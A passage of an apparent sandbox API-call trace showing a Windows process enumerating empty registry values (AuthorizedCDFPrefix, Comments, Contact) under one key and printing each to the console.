pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.323] GetProcessHeap () returned 0x2e0000 [0148.323] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.323] GetProcessHeap () returned 0x2e0000 [0148.323] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.323] GetProcessHeap () returned 0x2e0000 [0148.323] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.323] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.323] __iob_func () returned 0x7fefd702a80 [0148.323] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.323] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.323] _fileno (_File=0x7fefd702ab0) returned 1 [0148.323] _errno () returned 0xc4bb0 [0148.323] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.323] _errno () returned 0xc4bb0 [0148.323] GetFileType (hFile=0x50) returned 0x1 [0148.323] lstrlenW (lpString=" ") returned 4 [0148.323] GetConsoleOutputCP () returned 0x1b5 [0148.323] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.323] GetConsoleOutputCP () returned 0x1b5 [0148.324] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.324] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.324] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.324] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0148.324] __iob_func () returned 0x7fefd702a80 [0148.324] _fileno (_File=0x7fefd702ab0) returned 1 [0148.324] _errno () returned 0xc4bb0 [0148.324] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.324] _errno () returned 0xc4bb0 [0148.324] GetFileType (hFile=0x50) returned 0x1 [0148.324] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0148.324] GetConsoleOutputCP () returned 0x1b5 [0148.324] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0148.324] GetConsoleOutputCP () returned 0x1b5 [0148.324] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AuthorizedCDFPrefix", lpUsedDefaultChar=0x0) returned 19 [0148.324] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 19 [0148.324] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.324] __iob_func () returned 0x7fefd702a80 [0148.324] _fileno (_File=0x7fefd702ab0) returned 1 [0148.324] _errno () returned 0xc4bb0 [0148.324] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.324] _errno () returned 0xc4bb0 [0148.324] GetFileType (hFile=0x50) returned 0x1 [0148.324] lstrlenW (lpString=" ") returned 4 [0148.325] GetConsoleOutputCP () returned 0x1b5 [0148.325] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.325] GetConsoleOutputCP () returned 0x1b5 [0148.325] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.325] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.325] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.325] __iob_func () returned 0x7fefd702a80 [0148.325] _fileno (_File=0x7fefd702ab0) returned 1 [0148.325] _errno () returned 0xc4bb0 [0148.325] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.325] _errno () returned 0xc4bb0 [0148.325] GetFileType (hFile=0x50) returned 0x1 [0148.325] lstrlenW (lpString="REG_SZ") returned 6 [0148.325] GetConsoleOutputCP () returned 0x1b5 [0148.325] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.325] GetConsoleOutputCP () returned 0x1b5 [0148.325] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.325] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.325] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.326] __iob_func () returned 0x7fefd702a80 [0148.326] _fileno (_File=0x7fefd702ab0) returned 1 [0148.326] _errno () returned 0xc4bb0 [0148.326] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.326] _errno () returned 0xc4bb0 [0148.326] GetFileType (hFile=0x50) returned 0x1 [0148.326] lstrlenW (lpString=" ") returned 4 [0148.326] GetConsoleOutputCP () returned 0x1b5 [0148.326] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.326] GetConsoleOutputCP () returned 0x1b5 [0148.326] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.326] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.326] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.326] __iob_func () returned 0x7fefd702a80 [0148.326] _fileno (_File=0x7fefd702ab0) returned 1 [0148.326] _errno () returned 0xc4bb0 [0148.326] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.326] _errno () returned 0xc4bb0 [0148.326] GetFileType (hFile=0x50) returned 0x1 [0148.326] lstrlenW (lpString="") returned 0 [0148.326] __iob_func () returned 0x7fefd702a80 [0148.326] _fileno (_File=0x7fefd702ab0) returned 1 [0148.326] _errno () returned 0xc4bb0 [0148.326] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.326] _errno () returned 0xc4bb0 [0148.326] GetFileType (hFile=0x50) returned 0x1 [0148.326] lstrlenW (lpString="\n") returned 1 [0148.326] GetConsoleOutputCP () returned 0x1b5 [0148.327] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.327] GetConsoleOutputCP () returned 0x1b5 [0148.327] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.327] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.327] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.327] GetProcessHeap () returned 0x2e0000 [0148.327] GetProcessHeap () returned 0x2e0000 [0148.327] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.327] GetProcessHeap () returned 0x2e0000 [0148.327] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.327] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.327] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Comments", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.327] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.327] GetProcessHeap () returned 0x2e0000 [0148.327] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.327] GetProcessHeap () returned 0x2e0000 [0148.327] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.327] GetProcessHeap () returned 0x2e0000 [0148.327] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.327] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.327] __iob_func () returned 0x7fefd702a80 [0148.327] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.327] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.327] _fileno (_File=0x7fefd702ab0) returned 1 [0148.327] _errno () returned 0xc4bb0 [0148.327] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.327] _errno () returned 0xc4bb0 [0148.328] GetFileType (hFile=0x50) returned 0x1 [0148.328] lstrlenW (lpString=" ") returned 4 [0148.328] GetConsoleOutputCP () returned 0x1b5 [0148.328] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.328] GetConsoleOutputCP () returned 0x1b5 [0148.328] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.328] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.328] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.328] lstrlenW (lpString="Comments") returned 8 [0148.328] __iob_func () returned 0x7fefd702a80 [0148.328] _fileno (_File=0x7fefd702ab0) returned 1 [0148.328] _errno () returned 0xc4bb0 [0148.328] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.328] _errno () returned 0xc4bb0 [0148.328] GetFileType (hFile=0x50) returned 0x1 [0148.328] lstrlenW (lpString="Comments") returned 8 [0148.328] GetConsoleOutputCP () returned 0x1b5 [0148.328] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.328] GetConsoleOutputCP () returned 0x1b5 [0148.328] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Comments", lpUsedDefaultChar=0x0) returned 8 [0148.328] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.329] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.329] __iob_func () returned 0x7fefd702a80 [0148.329] _fileno (_File=0x7fefd702ab0) returned 1 [0148.329] _errno () returned 0xc4bb0 [0148.329] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.329] _errno () returned 0xc4bb0 [0148.329] GetFileType (hFile=0x50) returned 0x1 [0148.329] lstrlenW (lpString=" ") returned 4 [0148.329] GetConsoleOutputCP () returned 0x1b5 [0148.329] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.329] GetConsoleOutputCP () returned 0x1b5 [0148.329] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.329] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.329] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.329] __iob_func () returned 0x7fefd702a80 [0148.329] _fileno (_File=0x7fefd702ab0) returned 1 [0148.329] _errno () returned 0xc4bb0 [0148.329] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.329] _errno () returned 0xc4bb0 [0148.329] GetFileType (hFile=0x50) returned 0x1 [0148.329] lstrlenW (lpString="REG_SZ") returned 6 [0148.329] GetConsoleOutputCP () returned 0x1b5 [0148.329] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.330] GetConsoleOutputCP () returned 0x1b5 [0148.330] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.330] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.330] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.330] __iob_func () returned 0x7fefd702a80 [0148.330] _fileno (_File=0x7fefd702ab0) returned 1 [0148.330] _errno () returned 0xc4bb0 [0148.330] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.330] _errno () returned 0xc4bb0 [0148.330] GetFileType (hFile=0x50) returned 0x1 [0148.330] lstrlenW (lpString=" ") returned 4 [0148.330] GetConsoleOutputCP () returned 0x1b5 [0148.330] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.330] GetConsoleOutputCP () returned 0x1b5 [0148.330] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.330] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.330] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.330] __iob_func () returned 0x7fefd702a80 [0148.330] _fileno (_File=0x7fefd702ab0) returned 1 [0148.330] _errno () returned 0xc4bb0 [0148.330] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.330] _errno () returned 0xc4bb0 [0148.330] GetFileType (hFile=0x50) returned 0x1 [0148.330] lstrlenW (lpString="") returned 0 [0148.331] __iob_func () returned 0x7fefd702a80 [0148.331] _fileno (_File=0x7fefd702ab0) returned 1 [0148.331] _errno () returned 0xc4bb0 [0148.331] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.331] _errno () returned 0xc4bb0 [0148.331] GetFileType (hFile=0x50) returned 0x1 [0148.331] lstrlenW (lpString="\n") returned 1 [0148.331] GetConsoleOutputCP () returned 0x1b5 [0148.331] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.331] GetConsoleOutputCP () returned 0x1b5 [0148.331] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.331] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.331] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.331] GetProcessHeap () returned 0x2e0000 [0148.331] GetProcessHeap () returned 0x2e0000 [0148.331] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.331] GetProcessHeap () returned 0x2e0000 [0148.331] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.331] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.331] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Contact", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.331] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.331] GetProcessHeap () returned 0x2e0000 [0148.331] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.331] GetProcessHeap () returned 0x2e0000 [0148.331] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.331] GetProcessHeap () returned 0x2e0000 [0148.331] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.331] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.332] __iob_func () returned 0x7fefd702a80 [0148.332] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.332] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.332] _fileno (_File=0x7fefd702ab0) returned 1 [0148.332] _errno () returned 0xc4bb0 [0148.332] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.332] _errno () returned 0xc4bb0 [0148.332] GetFileType (hFile=0x50) returned 0x1 [0148.332] lstrlenW (lpString=" ") returned 4 [0148.332] GetConsoleOutputCP () returned 0x1b5 [0148.332] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.332] GetConsoleOutputCP () returned 0x1b5 [0148.332] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.332] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.332] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.332] lstrlenW (lpString="Contact") returned 7 [0148.332] __iob_func () returned 0x7fefd702a80 [0148.332] _fileno (_File=0x7fefd702ab0) returned 1 [0148.332] _errno () returned 0xc4bb0 [0148.332] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.332] _errno () returned 0xc4bb0 [0148.332] GetFileType (hFile=0x50) returned 0x1 [0148.332] lstrlenW (lpString="Contact") returned 7 [0148.332] GetConsoleOutputCP () returned 0x1b5 [0148.333] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0148.333] GetConsoleOutputCP () returned 0x1b5 [0148.333] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Contact", lpUsedDefaultChar=0x0) returned 7 [0148.333] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0148.333] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.333] __iob_func () returned 0x7fefd702a80 [0148.333] _fileno (_File=0x7fefd702ab0) returned 1 [0148.333] _errno () returned 0xc4bb0 [0148.333] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.333] _errno () returned 0xc4bb0 [0148.333] GetFileType (hFile=0x50) returned 0x1 [0148.333] lstrlenW (lpString=" ") returned 4 [0148.333] GetConsoleOutputCP () returned 0x1b5 [0148.333] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.333] GetConsoleOutputCP () returned 0x1b5 [0148.333] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.333] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.333] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.333] __iob_func () returned 0x7fefd702a80 [0148.333] _fileno (_File=0x7fefd702ab0) returned 1 [0148.333] _errno () returned 0xc4bb0 [0148.333] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.333] _errno () returned 0xc4bb0 [0148.334] GetFileType (hFile=0x50) returned 0x1 [0148.334] lstrlenW (lpString="REG_SZ") returned 6 [0148.334] GetConsoleOutputCP () returned 0x1b5 [0148.334] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.334] GetConsoleOutputCP () returned 0x1b5 [0148.334] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.334] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.334] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.334] __iob_func () returned 0x7fefd702a80 [0148.334] _fileno (_File=0x7fefd702ab0) returned 1 [0148.334] _errno () returned 0xc4bb0 [0148.334] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.334] _errno () returned 0xc4bb0 [0148.334] GetFileType (hFile=0x50) returned 0x1 [0148.334] lstrlenW (lpString=" ") returned 4 [0148.334] GetConsoleOutputCP () returned 0x1b5 [0148.334] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.334] GetConsoleOutputCP () returned 0x1b5 [0148.334] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.334] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.334] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.335] __iob_func () returned 0x7fefd702a80 [0148.335] _fileno (_File=0x7fefd702ab0) returned 1 [0148.335] _errno () returned 0xc4bb0 [0148.335] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.335] _errno () returned 0xc4bb0 [0148.335] GetFileType (hFile=0x50) returned 0x1 [0148.335] lstrlenW (lpString="") returned 0 [0148.335] __iob_func () returned 0x7fefd702a80 [0148.335] _fileno (_File=0x7fefd702ab0) returned 1 [0148.335] _errno () returned 0xc4bb0 [0148.335] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.335] _errno () returned 0xc4bb0 [0148.335] GetFileType (hFile=0x50) returned 0x1 [0148.335] lstrlenW (lpString="\n") returned 1 [0148.335] GetConsoleOutputCP () returned 0x1b5 [0148.335] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.335] GetConsoleOutputCP () returned 0x1b5 [0148.335] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 